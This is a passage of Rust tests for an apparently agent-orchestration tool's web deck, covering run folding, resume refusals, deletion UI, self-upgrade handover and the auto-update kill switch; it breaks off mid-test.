9505    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
9506        let start = APP_JS
9507            .find("function renderStats() {")
9508            .expect("renderStats");
9509        let end = start
9510            + APP_JS[start..]
9511                .find("function statsTile(")
9512                .expect("the next top-level function");
9513        let body = &APP_JS[start..end];
9514
9515        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
9516        let gate_end = gate_start
9517            + body[gate_start..]
9518                .find("}\n  renderStatsQueue")
9519                .expect("the gate's own closing brace, right before the unconditional call");
9520        let gated = &body[gate_start..gate_end];
9521
9522        assert_eq!(
9523            body.matches("renderStatsQueue(").count(),
9524            1,
9525            "renderStats must call renderStatsQueue exactly once: {body}"
9526        );
9527        assert!(
9528            !gated.contains("renderStatsQueue"),
9529            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
9530             run-derived panels on an empty run history - the queue panel has to render \
9531             regardless: {gated}"
9532        );
9533    }
9534
9535    #[test]
9536    fn web_ui_delete_contract_in_front_end() {
9537        // 1. API block has both delete endpoints
9538        assert!(APP_JS.contains("deleteRun:"));
9539        assert!(APP_JS.contains("deleteTask:"));
9540
9541        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
9542        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
9543            ..APP_JS.find("function renderRuns").unwrap()];
9544        assert!(!run_cards_slice.to_lowercase().contains("delete"));
9545
9546        // 3. Run detail has delete entry and reasons
9547        assert!(APP_JS.contains("renderRunDelete"));
9548        assert!(APP_JS.contains("runDeleteReason"));
9549        assert!(APP_JS.contains("magi fold"));
9550        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
9551
9552        // 4. Two-step delete arming and focus on Cancel
9553        assert!(APP_JS.contains("cancel.focus"));
9554        assert!(APP_JS.contains("armedRunDelete"));
9555        assert!(APP_JS.contains("armedDelete"));
9556
9557        // 5. Running task has disabled delete
9558        assert!(APP_JS.contains("disabled: status === \"running\""));
9559    }
9560
9561    /// Every element a run card's updater reaches for must be in the `refs`
9562    /// the builder handed it.
9563    ///
9564    /// `createRunCard` builds its elements, appends them to the card, and then
9565    /// lists them again in `row.refs`. That second list is the one the updater
9566    /// uses, and nothing connects the two - an element can be built, appended
9567    /// and rendered, and still be missing from `refs`. `superseded` was, for
9568    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
9569    /// exception took `syncList` with it, and the deck showed
9570    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
9571    /// line is computed before the cards, which is why the failure looked like
9572    /// a server that had lost its runs rather than a front end that had
9573    /// stopped rendering them.
9574    ///
9575    /// A `cargo test` cannot execute the front end, so this reads the two
9576    /// halves out of the source and compares them as sets. It is not a check
9577    /// on the wording of either list: adding an element, renaming one, or
9578    /// reordering them all keeps this passing, and only using one the builder
9579    /// never published fails it.
9580    #[test]
9581    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
9582        let build = APP_JS
9583            .find("function createRunCard")
9584            .expect("createRunCard exists");
9585        let update = APP_JS
9586            .find("function updateRunCard")
9587            .expect("updateRunCard exists");
9588        let end = APP_JS
9589            .find("function renderRuns")
9590            .expect("renderRuns exists");
9591
9592        // The builder's published set: the object literal assigned to `refs`.
9593        let builder = &APP_JS[build..update];
9594        let open = builder.find("refs = {").expect("createRunCard sets refs");
9595        let literal = &builder[open + "refs = {".len()..];
9596        let close = literal.find('}').expect("the refs literal is closed");
9597        let published: HashSet<&str> = literal[..close]
9598            .split(',')
9599            // `name` and `name: value` both bind `name`.
9600            .filter_map(|entry| entry.split(':').next())
9601            .map(str::trim)
9602            .filter(|name| !name.is_empty())
9603            .collect();
9604        assert!(
9605            published.len() > 5,
9606            "the refs literal did not parse into names: {published:?}"
9607        );
9608
9609        // What the updaters reach for: every `r.<name>`, where `r` is the
9610        // `const r = row.refs` alias both functions open with.
9611        let mut used: Vec<&str> = Vec::new();
9612        let updaters = &APP_JS[update..end];
9613        for (at, _) in updaters.match_indices("r.") {
9614            // `r` must be the whole identifier, not the tail of another one
9615            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
9616            let before = updaters[..at].chars().next_back();
9617            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
9618                continue;
9619            }
9620            let rest = &updaters[at + 2..];
9621            let len = rest
9622                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
9623                .unwrap_or(rest.len());
9624            if len > 0 {
9625                used.push(&rest[..len]);
9626            }
9627        }
9628        assert!(
9629            used.len() > 5,
9630            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
9631        );
9632
9633        let missing: Vec<&str> = used
9634            .iter()
9635            .copied()
9636            .filter(|name| !published.contains(name))
9637            .collect();
9638        assert!(
9639            missing.is_empty(),
9640            "a run card's updater reaches for {missing:?}, which `createRunCard` \
9641             never put in `refs` - every card will throw and the list will \
9642             render empty under a count line that says otherwise. Published: \
9643             {published:?}"
9644        );
9645    }
9646
9647    #[tokio::test]
9648    async fn folding_from_the_phone_reports_what_it_removed() {
9649        let fx = Fixture::start().await;
9650        let runs = fx.runs();
9651
9652        // A run with no candidates has nothing to fold, which is a 200 with an
9653        // honest count rather than an error: the operator asked for the trees
9654        // to be gone and they are.
9655        let id = "20260901-000000-fold";
9656        write_run(&runs, id, RunStatus::Stalled);
9657        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9658        assert_eq!(res.status, 200);
9659        assert_eq!(res.json()["removed_count"], 0);
9660        assert_eq!(res.json()["run"], id);
9661        assert!(
9662            runs.join(id).exists(),
9663            "a fold keeps the run's record; only the worktrees go"
9664        );
9665    }
9666
9667    #[tokio::test]
9668    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
9669        let fx = Fixture::start().await;
9670        let runs = fx.runs();
9671        let wt = fx.home.path().join("wt").join("magi").join("dead");
9672        let id = "20260901-000000-dead";
9673        std::fs::create_dir_all(runs.join(id)).expect("run dir");
9674        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9675        std::fs::create_dir_all(&wt).expect("worktree dir");
9676
9677        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9678        assert_eq!(res.status, 200, "{}", res.body);
9679        assert!(
9680            res.json()["removed_count"].as_u64().unwrap() > 0,
9681            "the worktree this build could not read a state for still went"
9682        );
9683        assert!(
9684            !runs.join(id).exists(),
9685            "an unreadable run has no candidate list to fold selectively, so \
9686             the whole record goes - same as `magi fold` on the CLI"
9687        );
9688    }
9689
9690    #[tokio::test]
9691    async fn deleting_an_unreadable_run_removes_it_wholesale() {
9692        let fx = Fixture::start().await;
9693        let runs = fx.runs();
9694        let wt = fx.home.path().join("wt").join("magi").join("gone");
9695        let id = "20260901-000000-gone";
9696        std::fs::create_dir_all(runs.join(id)).expect("run dir");
9697        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9698        std::fs::create_dir_all(&wt).expect("worktree dir");
9699
9700        let res = fx.delete(&format!("/api/runs/{id}")).await;
9701        assert_eq!(res.status, 204, "{}", res.body);
9702        assert!(!runs.join(id).exists(), "the broken record is gone");
9703        assert!(!wt.exists(), "its worktree is gone too");
9704    }
9705
9706    #[tokio::test]
9707    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
9708        let fx = Fixture::start().await;
9709        let runs = fx.runs();
9710        let id = "20260901-000000-live";
9711        write_run(&runs, id, RunStatus::Implementing);
9712
9713        let mut beat = crate::daemon::Status::new();
9714        beat.current = vec![crate::daemon::Current {
9715            task: "20260901-000000-task".to_owned(),
9716            run: id.to_owned(),
9717        }];
9718        beat.updated_at = jiff::Timestamp::now();
9719        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9720            .expect("publish a heartbeat");
9721
9722        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9723        assert_eq!(res.status, 409);
9724        assert!(
9725            res.json()["error"]
9726                .as_str()
9727                .unwrap()
9728                .contains("live daemon"),
9729            "folding under a running agent would pull its worktree away"
9730        );
9731    }
9732
9733    #[tokio::test]
9734    async fn fold_merged_requires_a_pr_url() {
9735        let fx = Fixture::start().await;
9736        let runs = fx.runs();
9737        let id = "20260901-000000-nourl";
9738        write_run(&runs, id, RunStatus::Blocked);
9739
9740        let res = fx
9741            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
9742            .await;
9743        assert_eq!(res.status, 400, "{}", res.body);
9744
9745        let blank = fx
9746            .post(
9747                &format!("/api/runs/{id}/fold-merged"),
9748                Some(r#"{"pr_url":"   "}"#),
9749            )
9750            .await;
9751        assert_eq!(blank.status, 400, "{}", blank.body);
9752    }
9753
9754    #[tokio::test]
9755    async fn fold_merged_is_404_for_an_unknown_run() {
9756        let fx = Fixture::start().await;
9757        let res = fx
9758            .post(
9759                "/api/runs/nosuchrun/fold-merged",
9760                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9761            )
9762            .await;
9763        assert_eq!(res.status, 404, "{}", res.body);
9764    }
9765
9766    #[tokio::test]
9767    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
9768        let fx = Fixture::start().await;
9769        let runs = fx.runs();
9770        let id = "20260901-000000-livemerge";
9771        write_run(&runs, id, RunStatus::Blocked);
9772
9773        let mut beat = crate::daemon::Status::new();
9774        beat.current = vec![crate::daemon::Current {
9775            task: "20260901-000000-task".to_owned(),
9776            run: id.to_owned(),
9777        }];
9778        beat.updated_at = jiff::Timestamp::now();
9779        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9780            .expect("publish a heartbeat");
9781
9782        let res = fx
9783            .post(
9784                &format!("/api/runs/{id}/fold-merged"),
9785                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9786            )
9787            .await;
9788        assert_eq!(res.status, 409, "{}", res.body);
9789        assert!(
9790            res.json()["error"]
9791                .as_str()
9792                .unwrap()
9793                .contains("live daemon"),
9794            "correcting a run's merge underneath a running agent would race \
9795             whatever it is doing to the same `status`/`merge` fields"
9796        );
9797    }
9798
9799    /// A pull request `gh` cannot even ask about (no such remote, no such
9800    /// repository) must never be recorded as a merge on a guess - the same
9801    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
9802    /// command line, reached here through the phone route instead.
9803    #[tokio::test]
9804    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
9805        let fx = Fixture::start().await;
9806        let runs = fx.runs();
9807        let id = "20260901-000000-unconfirmed";
9808        write_run(&runs, id, RunStatus::Blocked);
9809
9810        let res = fx
9811            .post(
9812                &format!("/api/runs/{id}/fold-merged"),
9813                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9814            )
9815            .await;
9816        assert_eq!(res.status, 400, "{}", res.body);
9817        assert_eq!(
9818            read_run(&runs, id).unwrap().status,
9819            RunStatus::Blocked,
9820            "a pull request that could not be confirmed merged must leave \
9821             the run exactly where it was"
9822        );
9823    }
9824
9825    #[tokio::test]
9826    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
9827        let fx = Fixture::start().await;
9828        let runs = fx.runs();
9829
9830        // Only a finished run and a failed one. An *interrupted* run - a
9831        // parked one, or one whose daemon was killed mid-node - is the case
9832        // resuming exists for: run 4043 sat at `reviewing` with the deck
9833        // saying it could not be resumed, which was the one state where
9834        // resuming was the only sensible answer.
9835        for (status, word) in [
9836            (RunStatus::Merged, "merged"),
9837            (RunStatus::Ready, "ready"),
9838            (RunStatus::Failed, "failed"),
9839        ] {
9840            let id = format!("20260901-000000-{}", &word[..4]);
9841            write_run(&runs, &id, status);
9842            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
9843            assert_eq!(res.status, 409, "{word} must not be resumable");
9844            let err = res.json()["error"].as_str().unwrap().to_owned();
9845            assert!(err.contains(word), "the refusal names the status: {err}");
9846        }
9847
9848        // And an interrupted run is accepted: 202, with the resume running in
9849        // the background. `Runner::resume` fails immediately here - the
9850        // fixture's run points at a repository that does not exist - which is
9851        // the point: the handler must not wait for it to find out.
9852        let mid = "20260901-000000-midf";
9853        write_run(&runs, mid, RunStatus::Reviewing);
9854        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
9855        assert_eq!(res.status, 202, "an interrupted run is resumable");
9856    }
9857
9858    #[tokio::test]
9859    async fn resume_is_refused_while_the_loop_is_running() {
9860        let fx = Fixture::start().await;
9861        let runs = fx.runs();
9862        let stalled = "20260901-000000-stal";
9863        write_run(&runs, stalled, RunStatus::Stalled);
9864
9865        // The loop is busy with a *different* run, and that is still a
9866        // refusal: a manual resume must never race whatever the loop itself
9867        // is already driving, whether that is one run or several.
9868        let mut beat = crate::daemon::Status::new();
9869        beat.current = vec![crate::daemon::Current {
9870            task: "20260901-000000-task".to_owned(),
9871            run: "20260901-000000-othr".to_owned(),
9872        }];
9873        beat.updated_at = jiff::Timestamp::now();
9874        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9875            .expect("publish a heartbeat");
9876
9877        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
9878        assert_eq!(res.status, 409);
9879        let err = res.json()["error"].as_str().unwrap().to_owned();
9880        assert!(err.contains("othr"), "it names what the loop is on: {err}");
9881        assert!(err.contains("stop it first"), "{err}");
9882    }
9883
9884    #[test]
9885    fn a_run_cannot_be_resumed_twice_at_once() {
9886        let home = TempDir::new().expect("temp home");
9887        let ui = Ui::new(
9888            Queue::at(home.path().join("queue")),
9889            Questions::at(home.path().join("questions")),
9890            Talks::at(home.path().join("talks")),
9891            home.path().join("runs"),
9892            home.path().to_path_buf(),
9893            PathBuf::from("/repo"),
9894        )
9895        .with_worktrees_root(home.path().join("wt"));
9896        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
9897        let again = ui.begin_resume("20260901-000000-once");
9898        assert!(again.is_err(), "a second tap must not start a second graph");
9899        drop(first);
9900        assert!(
9901            ui.begin_resume("20260901-000000-once").is_ok(),
9902            "and the claim is released when the attempt ends"
9903        );
9904    }
9905
9906    #[test]
9907    fn talk_thinking_tracks_only_its_held_turn_claim() {
9908        let home = TempDir::new().expect("temp home");
9909        let ui = Ui::new(
9910            Queue::at(home.path().join("queue")),
9911            Questions::at(home.path().join("questions")),
9912            Talks::at(home.path().join("talks")),
9913            home.path().join("runs"),
9914            home.path().to_path_buf(),
9915            PathBuf::from("/repo"),
9916        )
9917        .with_worktrees_root(home.path().join("wt"));
9918        let id = "20260901-000000-once";
9919
9920        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
9921        let turn = ui.begin_talk_turn(id).expect("claim turn");
9922        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
9923        assert!(
9924            !ui.is_thinking("20260901-000000-other"),
9925            "one talk's turn does not make another talk busy"
9926        );
9927        drop(turn);
9928        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
9929    }
9930
9931    #[tokio::test]
9932    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
9933        let fx = Fixture::start().await;
9934        // Somebody else's `magi serve` owns the queue. Replacing this binary
9935        // would leave that process running an old one against the same
9936        // claims, which is worse than refusing.
9937        let mut beat = crate::daemon::Status::new();
9938        beat.pid = 4321;
9939        beat.updated_at = jiff::Timestamp::now();
9940        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9941            .expect("publish a heartbeat");
9942
9943        let res = fx.post("/api/upgrade", None).await;
9944        assert_eq!(res.status, 409);
9945        let err = res.json()["error"].as_str().unwrap().to_owned();
9946        assert!(err.contains("4321"), "the refusal names the owner: {err}");
9947        assert!(err.contains("old one against the same queue"), "{err}");
9948    }
9949
9950    /// [`should_spawn_recheck`] must refuse for the same two reasons
9951    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
9952    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
9953    /// Purely a predicate over config and the environment - no network, no
9954    /// disk, no runtime - so unlike the fixture-based tests around it this
9955    /// one needs neither.
9956    #[test]
9957    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
9958        assert!(!should_spawn_recheck(&crate::config::Update {
9959            mode: UpdateMode::Off,
9960            interval: None,
9961        }));
9962
9963        // SAFETY: single-threaded as far as this variable goes, the same
9964        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
9965        unsafe {
9966            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9967        }
9968        let killed = should_spawn_recheck(&crate::config::Update {
9969            mode: UpdateMode::Notify,
9970            interval: None,
9971        });
9972        unsafe {
9973            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9974        }
9975        assert!(
9976            !killed,
9977            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
9978             one-time startup check"
9979        );
9980
9981        assert!(should_spawn_recheck(&crate::config::Update {
9982            mode: UpdateMode::Notify,
9983            interval: None,
9984        }));
9985    }
9986
9987    /// [`recheck_poll_period`] must track a configured `[update] interval`
9988    /// shorter than its own default ceiling - a fixed sleep here would leave
9989    /// an operator's short interval waiting on the next wake-up instead of on
9990    /// `should_check`, which is the same bug this whole task exists to fix,
9991    /// just one level down.
9992    #[test]
9993    fn recheck_poll_period_tracks_a_short_configured_interval() {
9994        let short = crate::config::Update {
9995            mode: UpdateMode::Notify,
9996            interval: Some("1m".to_owned()),
9997        };
9998        let period = recheck_poll_period(&short);
9999        assert!(
10000            period <= Duration::from_secs(30),
10001            "a one-minute interval must wake the task far sooner than the \
10002             default ceiling, or the deck would not notice within the \
10003             interval the operator configured: got {period:?}"
10004        );
10005
10006        let default = crate::config::Update {
10007            mode: UpdateMode::Notify,
10008            interval: None,
10009        };
10010        assert_eq!(
10011            recheck_poll_period(&default),
10012            UPDATE_RECHECK_POLL_MAX,
10013            "the default day-long interval should poll at the (capped) \
10014             ceiling rather than needlessly often"
10015        );
10016    }
10017
10018    /// [`update_recheck_due`] must not repeat a check made moments ago, the
10019    /// same throttle `updater::Checker::should_check` already gives the
10020    /// CLI's notify mode. Built over an explicit state file via
10021    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
10022    /// write the operator's real `last_update_check.json` - and therefore
10023    /// cannot flake on whatever that file happens to say on the machine
10024    /// running the test.
10025    #[test]
10026    fn recheck_skips_the_network_before_the_interval_elapses() {
10027        let dir = TempDir::new().expect("temp dir");
10028        let path = dir.path().join("state.json");
10029        let state = kaishin::UpdateCheckState {
10030            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
10031            last_known_latest: None,
10032            last_known_url: None,
10033        };
10034        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
10035
10036        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
10037        assert!(
10038            !update_recheck_due(&checker, None),
10039            "a check made moments ago must not be repeated before the \
10040             configured interval elapses"
10041        );
10042    }
10043
10044    /// An upgrade this deck already started must not be raced by a recheck
10045    /// that discovers a newer release mid-install - regardless of what
10046    /// `should_check` says, which is why the state file here is missing
10047    /// entirely: read alone, that alone would answer "never checked, go
10048    /// ahead".
10049    #[test]
10050    fn recheck_defers_to_an_upgrade_already_in_flight() {
10051        let dir = TempDir::new().expect("temp dir");
10052        let path = dir.path().join("state.json");
10053        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
10054        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
10055
10056        assert!(
10057            !update_recheck_due(&checker, Some(&progress)),
10058            "a recheck must not run while an upgrade this deck started is \
10059             still moving"
10060        );
10061    }
10062
10063    #[tokio::test]
10064    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
10065        // The same env var the background check honours (`disabled_by_env`)
10066        // must also stop a button press before it ever calls
10067        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
10068        // means "never contact GitHub from this process", and a tap on the
10069        // upgrade button must not override that any more than a broken
10070        // `magi.toml` may. Left unset, this fixture's default config would
10071        // otherwise reach a real, unauthenticated GitHub call.
10072        //
10073        // SAFETY: single-threaded as far as this variable goes - nothing else
10074        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
10075        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
10076        unsafe {
10077            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
10078        }
10079        let fx = Fixture::start().await;
10080        let res = fx.post("/api/upgrade", None).await;
10081        unsafe {
10082            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
10083        }
10084        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
10085        let body = res.json();
10086        assert!(body["to"].is_null(), "there was no release to move to");
10087        assert!(body["parked"].is_null(), "and nothing was parked");
10088        assert!(
10089            body["detail"]
10090                .as_str()
10091                .unwrap()
10092                .contains("disabled by MAGI_NO_AUTOUPDATE"),
10093            "{body:?}"
10094        );
10095    }
10096
10097    #[tokio::test]
10098    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
10099        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
10100        // and the route answers from its own logic.
10101        //
10102        // This test used to lean on the fixture's placeholder repo failing
10103        // config discovery, which left `mode = "notify"` - and a live,
10104        // unauthenticated call to the GitHub releases API inside a unit test.
10105        // GitHub allows 60 of those an hour per address, so the suite went red
10106        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
10107        // long as somebody kept re-running it: every attempt spent another
10108        // request. Six reruns across four pull requests were charged to that
10109        // before it was read as a rate limit rather than a flake.
10110        //
10111        // What the assertion is about is the "already current" branch, which
10112        // is reached by there being no newer release *or* nowhere to look. The
10113        // second one needs no network and cannot be rate limited.
10114        let repo = TempDir::new().expect("repo dir");
10115        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
10116            .expect("write magi.toml");
10117        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10118
10119        // It must answer 200 and leave the process alone: restarting for an
10120        // upgrade that did not happen parks the run in flight and drops every
10121        // connection to pay for nothing. A probe against a deck already on the
10122        // newest build did exactly that, which is how this case got its own
10123        // branch.
10124        let res = fx.post("/api/upgrade", None).await;
10125        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
10126        let body = res.json();
10127        assert!(body["to"].is_null(), "there was no release to move to");
10128        assert!(body["parked"].is_null(), "and nothing was parked");
10129        assert!(
10130            body["detail"]
10131                .as_str()
10132                .unwrap()
10133                .contains("nothing restarted"),
10134            "{body:?}"
10135        );
10136    }
10137
10138    #[tokio::test]
10139    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
10140        // `mode = "off"` for the same reason as the test above: a default
10141        // fixture repo falls back to `mode = "notify"`, which would make this
10142        // route's new `update` field a live, unauthenticated GitHub call on
10143        // every assertion in this suite that happens to hit `/api/health`.
10144        let repo = TempDir::new().expect("repo dir");
10145        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
10146            .expect("write magi.toml");
10147        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10148
10149        let health = fx.get("/api/health").await.json();
10150        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
10151        assert_eq!(
10152            health["update"]["available"], false,
10153            "checking is off, which reads as \"unknown\", not \"none\""
10154        );
10155        assert!(health["update"]["to"].is_null());
10156        assert!(
10157            health["upgrade"].is_null(),
10158            "nothing has ever asked this deck to upgrade"
10159        );
10160    }
10161
10162    #[tokio::test]
10163    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
10164        let fx = Fixture::start().await;
10165        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
10166
10167        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10168        progress.parked_run = Some("20260905-000000-cd51".to_owned());
10169        progress.advance(crate::updater::Stage::Parking);
10170        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
10171
10172        let health = fx.get("/api/health").await.json();
10173        assert_eq!(health["upgrade"]["stage"], "parking");
10174        assert_eq!(health["upgrade"]["from"], "0.5.1");
10175        assert_eq!(health["upgrade"]["to"], "0.5.2");
10176        let waiting_on = health["upgrade"]["waiting_on"]
10177            .as_str()
10178            .expect("waiting_on is set while parking a known run");
10179        assert!(waiting_on.contains("cd51"), "{waiting_on}");
10180        assert!(waiting_on.contains("implementing"), "{waiting_on}");
10181    }
10182
10183    #[tokio::test]
10184    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
10185        let fx = Fixture::start().await;
10186        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10187        progress.advance(crate::updater::Stage::Done);
10188        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
10189
10190        let health = fx.get("/api/health").await.json();
10191        assert_eq!(health["upgrade"]["stage"], "done");
10192        assert!(
10193            health["upgrade"]["waiting_on"].is_null(),
10194            "nothing to wait on once it is done"
10195        );
10196    }
10197
10198    #[tokio::test]
10199    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
10200        let home = TempDir::new().expect("temp home");
10201        let runs = home.path().join("runs");
10202        std::fs::create_dir_all(&runs).expect("runs dir");
10203        let ui = Ui::new(
10204            Queue::at(home.path().join("queue")),
10205            Questions::at(home.path().join("questions")),
10206            Talks::at(home.path().join("talks")),
10207            runs,
10208            home.path().to_path_buf(),
10209            PathBuf::from("/repo/magi"),
10210        )
10211        .with_launch(launch_idle);
10212        let looping = ui.looping();
10213        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10214            .await
10215            .expect("bind loopback");
10216        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10217
10218        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10219        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
10220
10221        hand_over(home.path(), &looping, served, |_| Ok(()))
10222            .await
10223            .expect("hand over");
10224
10225        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
10226        assert_eq!(
10227            after.stage,
10228            crate::updater::Stage::Restarting,
10229            "hand_over owns the record through parking and up to restarting; \
10230             the successor is what finishes it"
10231        );
10232    }
10233
10234    fn idle_ui(home: &TempDir) -> Ui {
10235        let runs = home.path().join("runs");
10236        std::fs::create_dir_all(&runs).expect("runs dir");
10237        Ui::new(
10238            Queue::at(home.path().join("queue")),
10239            Questions::at(home.path().join("questions")),
10240            Talks::at(home.path().join("talks")),
10241            runs,
10242            home.path().to_path_buf(),
10243            PathBuf::from("/repo/magi"),
10244        )
10245        .with_launch(launch_idle)
10246    }
10247
10248    /// Run `hand_over` against `ui` and return what the successor was told.
10249    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
10250        let looping = ui.looping();
10251        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10252            .await
10253            .expect("bind loopback");
10254        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10255        let told = std::sync::Mutex::new(None);
10256        hand_over(home.path(), &looping, served, |resume| {
10257            *told.lock().unwrap() = Some(resume);
10258            Ok(())
10259        })
10260        .await
10261        .expect("hand over");
10262        told.into_inner().unwrap().expect("successor was started")
10263    }
10264
10265    #[tokio::test]
10266    async fn a_running_loop_is_resumed_by_the_successor() {
10267        let home = TempDir::new().expect("temp home");
10268        let ui = idle_ui(&home);
10269        ui.start_loop(None).expect("start");
10270        ui.park_for_upgrade().expect("park");
10271        // The idle loop sees the park and ends before the handover fires.
10272        for _ in 0..500 {
10273            if !ui.loop_view(None).running {
10274                break;
10275            }
10276            tokio::time::sleep(Duration::from_millis(2)).await;
10277        }
10278        assert!(handed_over(&home, ui).await, "a running loop must resume");
10279
10280        let successor = idle_ui(&home);
10281        assert!(!successor.loop_view(None).running);
10282        assert!(successor.resume_after_handover(true));
10283        assert!(successor.loop_view(None).running);
10284        successor.stop_loop(None, false).expect("stop");
10285    }
10286
10287    #[tokio::test]
10288    async fn a_second_upgrade_request_keeps_the_resume_intent() {
10289        let home = TempDir::new().expect("temp home");
10290        let ui = idle_ui(&home);
10291        ui.start_loop(None).expect("start");
10292        ui.park_for_upgrade().expect("first park");
10293        ui.park_for_upgrade().expect("second park");
10294        assert!(handed_over(&home, ui).await);
10295    }
10296
10297    #[tokio::test]
10298    async fn a_stop_during_the_handover_wait_is_honoured() {
10299        let home = TempDir::new().expect("temp home");
10300        let ui = idle_ui(&home);
10301        ui.start_loop(None).expect("start");
10302        ui.park_for_upgrade().expect("park");
10303        ui.stop_loop(None, false).expect("stop");
10304        assert!(!handed_over(&home, ui).await);
10305    }
10306
10307    #[tokio::test]
10308    async fn an_idle_loop_stays_stopped_across_the_handover() {
10309        let home = TempDir::new().expect("temp home");
10310        let ui = idle_ui(&home);
10311        ui.park_for_upgrade().expect("park");
10312        assert!(!handed_over(&home, ui).await);
10313
10314        let successor = idle_ui(&home);
10315        assert!(!successor.resume_after_handover(false));
10316        assert!(!successor.loop_view(None).running);
10317    }
10318
10319    #[tokio::test]
10320    async fn a_loop_the_operator_stopped_is_not_resumed() {
10321        let home = TempDir::new().expect("temp home");
10322        let ui = idle_ui(&home);
10323        ui.start_loop(None).expect("start");
10324        ui.stop_loop(None, false).expect("stop");
10325        ui.park_for_upgrade().expect("park");
10326        assert!(!handed_over(&home, ui).await);
10327    }
10328
10329    #[test]
10330    fn only_an_explicit_one_requests_a_resume() {
10331        assert!(!resume_requested(None));
10332        assert!(!resume_requested(Some("0".into())));
10333        assert!(!resume_requested(Some("".into())));
10334        assert!(resume_requested(Some("1".into())));
10335    }
10336
10337    #[test]
10338    fn the_upgrade_button_arms_before_it_restarts_anything() {
10339        // It ends the process the operator is talking to, and a phone in a
10340        // pocket taps things. One tap arms, the second commits.
